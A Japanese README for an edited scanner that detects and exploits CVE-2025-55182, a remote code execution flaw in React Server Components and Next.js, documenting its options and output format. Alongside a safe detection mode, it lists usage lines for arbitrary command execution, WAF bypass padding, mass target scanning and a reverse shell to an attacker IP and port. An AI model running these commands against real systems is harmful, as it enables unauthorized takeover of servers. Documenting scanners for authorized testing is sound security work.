
assetnoteのCVE-2025-55182スキャナーの進化版
RSC/Next.js RCE向け高精度検出ツール
React Server ComponentsおよびNext.jsアプリケーションにおけるリモートコード実行(RCE)脆弱性を検出するスキャナ。
React2Shell Scannerは、React Server Components(RSC)およびNext.jsを利用するアプリケーションのリモートコード実行(RCE)脆弱性を識別するための専門ツールです。本ツールは以下のCVEに関連する脆弱性を検出します:
サイドチャネル検出およびRCEの概念実証(PoC)を用いた高精度な検査を実行し、HTTPレスポンスの自動パースを通じて実行されたコマンド結果を動的に抽出する機能を備えています。
本バージョンは、Assetnote Security Research Team が開発したオリジナルスキャナを @imguimoraes が編集したものです。オリジナルのRCE PoCは @maple3142 によって作成されました。
pip install requests tqdm
または requirements.txt ファイルを使用して:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [オプション]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| オプション | 説明 |
|---|---|
-u, --url URL | チェック対象のURLまたはホスト(単一) |
-l, --list FILE | ホストリストを含むファイル(1行1ホスト) |
| オプション | 説明 |
|---|---|
-t, --threads N | 同時スレッド数(デフォルト:10) |
--timeout SECONDS | リクエストのタイムアウト(秒)(デフォルト:10) |
-k, --insecure | SSL証明書検証を無効にする(デフォルトで有効) |
| オプション | 説明 |
|---|---|
-H, --header "Key: Value" | カスタムHTTPヘッダーを追加(複数回使用可) |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
スキャナーはステータスを示すカラーコード付きで結果を表示します:
脆弱なホストの場合、利用可能であれば、X-Action-Redirect ヘッダーまたはレスポンス本文の自動抽出を通じて、実行されたコマンドの結果が表示されます。
-o オプションを使用すると、次の構造のJSON形式で出力がファイルに保存されます:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
結果フィールド:
vulnerable: 脆弱ならtrue、脆弱でなければfalse、エラー発生時はnullcommand_result: レスポンスから抽出された実行コマンドの結果(利用可能な場合)final_url: テストされた最終URL(リダイレクト追跡が有効な場合)status_code: レスポンスのHTTPステータスコードrequest: 送信された完全なHTTPリクエストresponse: 受信したHTTPレスポンス(最初の2000文字)error: エラーがあればそのメッセージtimestamp: チェックのUTCタイムスタンプ本スキャナーは2つの検出方法を提供します:
セーフチェック(--safe-check):コードを実行せずにレスポンスのエラーパターンを確認する、非侵襲的なサイドチャネル検出。影響のない初期スキャンに便利です。
RCE PoC:結果の動的抽出を伴う実際のリモートコード実行。Node.jsの子プロセスを利用したシステムコマンド実行ペイロードを使用します。
本スキャナーはHTTPレスポンスを自動パースして、実行されたコマンドの結果を抽出します:
X-Action-Redirect ヘッダーからの抽出(形式:NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} または 1:E{"digest":"<result>"})--payload パラメータを使用した任意のカスタムコマンド/ペイロードで動作します。抽出は動的に行われ、固定値に依存しないため、任意のコマンド実行を検証できます。
--waf-bypass オプションが使用された場合:
--waf-bypass-size でサイズを設定可能(デフォルト:128KB)--payload パラメータを使用すると、任意のコマンドを指定して実行できます:
echo $((41*271))(結果:11111)--windows が有効な場合、PowerShellコマンドを使用コマンドの結果は、戻り値に関わらず自動的に抽出されて表示されます。
--reverse-shell オプションを使用すると、リバースシェル接続を確立できます:
IP:PORT(例:192.168.1.100:4444)powershell.exe を起動/bin/sh を起動このツールは教育目的および許可されたセキュリティテストのためにのみ使用されることを意図しています。
オリジナルのRCEエクスプロイトは @maple3142 によって作成されました。
オリジナルスキャナーは Assetnote Security Research Team によって開発されました:
この編集バージョンは、オリジナルスキャナーの機能を維持しつつ、以下の追加改良を施しています:
編集者:guiimoraes
バグを見つけた場合や改善の提案がある場合は、問題の詳細を記述してリポジトリにIssueを開いてください。
| オプション | 説明 |
|---|
-o, --output FILE | JSON形式の結果出力ファイル |
--all-results | 脆弱なものだけでなく全ての結果をファイルに保存 |
-v, --verbose | 冗長出力(分析用にレスポンススニペットを表示) |
-q, --quiet | サイレントモード(脆弱なホストのみ表示) |
--no-color | カラー出力を無効にする |
| オプション | 説明 |
|---|
--safe-check | RCE PoCではなく安全なサイドチャネル検出を使用(コードを実行しない) |
--windows | UnixシェルではなくPowerShellペイロードを使用(Windows環境向け) |
--waf-bypass | ペイロードにランダムデータを追加してWAFをバイパス(デフォルト:128KB) |
--waf-bypass-size KB | WAFバイパス用ランダムデータのサイズ(KB)(デフォルト:128) |
--payload COMMAND | RCEで実行するカスタムコマンド(デフォルト:echo $((41*271))) |
--reverse-shell IP:PORT | 指定されたIP:PORTへのリバースシェル接続を作成 |